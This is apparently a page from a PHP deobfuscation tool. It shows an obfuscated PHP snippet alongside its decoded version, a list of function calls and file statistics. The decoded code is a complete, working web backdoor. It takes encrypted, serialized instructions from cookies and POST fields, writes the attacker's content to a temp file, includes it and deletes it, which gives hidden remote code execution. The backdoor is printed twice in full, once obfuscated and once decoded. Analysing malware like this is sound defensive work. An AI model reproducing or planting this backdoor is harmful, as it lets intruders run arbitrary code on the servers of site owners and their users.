Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$zgfCrGP = chr (88) . chr (104) . chr ( 519 - 447 )."\x5f" . "\x79" . chr (85) . 'K' . 'v'..

Decoded Output download

<?  $zgfCrGP = chr (88) . chr (104) . chr ( 519 - 447 )."_" . "y" . chr (85) . 'K' . 'v';$svUtT = chr ( 1011 - 912 )."l" . "a" . chr ( 166 - 51 )."s" . chr (95) . chr (101) . "x" . chr (105) . "s" . 't' . chr (115); $Xbuqa = $svUtT($zgfCrGP); $xtDuNrQO = $Xbuqa;if (!$xtDuNrQO){class XhH_yUKv{private $ytxubOPQgH;public static $SriRKH = "53121c85-b9c9-44ea-9333-a550a6fff720";public static $DWPrYoJfm = NULL;public function __construct(){$WcgdPo = $_COOKIE;$OVPRo = $_POST;$KpyhyD = @$WcgdPo[substr(XhH_yUKv::$SriRKH, 0, 4)];if (!empty($KpyhyD)){$byEqE = "base64";$zjBjWDgG = "";$KpyhyD = explode(",", $KpyhyD);foreach ($KpyhyD as $xlVwfpFD){$zjBjWDgG .= @$WcgdPo[$xlVwfpFD];$zjBjWDgG .= @$OVPRo[$xlVwfpFD];}$zjBjWDgG = array_map($byEqE . "_" . "d" . chr ( 389 - 288 ).chr ( 1057 - 958 )."o" . "d" . "e", array($zjBjWDgG,)); $zjBjWDgG = $zjBjWDgG[0] ^ str_repeat(XhH_yUKv::$SriRKH, (strlen($zjBjWDgG[0]) / strlen(XhH_yUKv::$SriRKH)) + 1);XhH_yUKv::$DWPrYoJfm = @unserialize($zjBjWDgG);}}public function __destruct(){$this->ZbYBG();}private function ZbYBG(){if (is_array(XhH_yUKv::$DWPrYoJfm)) {$VHkTshc = sys_get_temp_dir() . "/" . crc32(XhH_yUKv::$DWPrYoJfm['s' . chr (97) . 'l' . chr (116)]);@XhH_yUKv::$DWPrYoJfm[chr (119) . chr ( 826 - 712 ).chr (105) . "t" . "e"]($VHkTshc, XhH_yUKv::$DWPrYoJfm[chr (99) . chr ( 822 - 711 ).'n' . "t" . "e" . chr (110) . "t"]);include $VHkTshc;@XhH_yUKv::$DWPrYoJfm["d" . "e" . "l" . chr ( 659 - 558 )."t" . chr (101)]($VHkTshc);exit();}}}$ShfAmOhiYG = new XhH_yUKv(); $ShfAmOhiYG = 23142;} ?>

Did this file decode correctly?

Original Code

$zgfCrGP = chr (88) . chr (104) . chr ( 519 - 447 )."\x5f" . "\x79" . chr (85) . 'K' . 'v';$svUtT = chr ( 1011 - 912 )."\x6c" . "\x61" . chr ( 166 - 51 )."\163" . chr (95) . chr (101) . "\x78" . chr (105) . "\x73" . 't' . chr (115); $Xbuqa = $svUtT($zgfCrGP); $xtDuNrQO = $Xbuqa;if (!$xtDuNrQO){class XhH_yUKv{private $ytxubOPQgH;public static $SriRKH = "53121c85-b9c9-44ea-9333-a550a6fff720";public static $DWPrYoJfm = NULL;public function __construct(){$WcgdPo = $_COOKIE;$OVPRo = $_POST;$KpyhyD = @$WcgdPo[substr(XhH_yUKv::$SriRKH, 0, 4)];if (!empty($KpyhyD)){$byEqE = "base64";$zjBjWDgG = "";$KpyhyD = explode(",", $KpyhyD);foreach ($KpyhyD as $xlVwfpFD){$zjBjWDgG .= @$WcgdPo[$xlVwfpFD];$zjBjWDgG .= @$OVPRo[$xlVwfpFD];}$zjBjWDgG = array_map($byEqE . "\x5f" . "\144" . chr ( 389 - 288 ).chr ( 1057 - 958 )."\x6f" . "\144" . "\145", array($zjBjWDgG,)); $zjBjWDgG = $zjBjWDgG[0] ^ str_repeat(XhH_yUKv::$SriRKH, (strlen($zjBjWDgG[0]) / strlen(XhH_yUKv::$SriRKH)) + 1);XhH_yUKv::$DWPrYoJfm = @unserialize($zjBjWDgG);}}public function __destruct(){$this->ZbYBG();}private function ZbYBG(){if (is_array(XhH_yUKv::$DWPrYoJfm)) {$VHkTshc = sys_get_temp_dir() . "/" . crc32(XhH_yUKv::$DWPrYoJfm['s' . chr (97) . 'l' . chr (116)]);@XhH_yUKv::$DWPrYoJfm[chr (119) . chr ( 826 - 712 ).chr (105) . "\x74" . "\x65"]($VHkTshc, XhH_yUKv::$DWPrYoJfm[chr (99) . chr ( 822 - 711 ).'n' . "\164" . "\145" . chr (110) . "\164"]);include $VHkTshc;@XhH_yUKv::$DWPrYoJfm["\x64" . "\x65" . "\x6c" . chr ( 659 - 558 )."\x74" . chr (101)]($VHkTshc);exit();}}}$ShfAmOhiYG = new XhH_yUKv(); $ShfAmOhiYG = 23142;}

Function Calls

chr 10
class_exists 1

Variables

$svUtT class_exists
$zgfCrGP XhH_yUKv

Stats

MD5 655aa623620f87eb1cd6e3bcf3a2f5c7
Eval Count 0
Decode Time 68 ms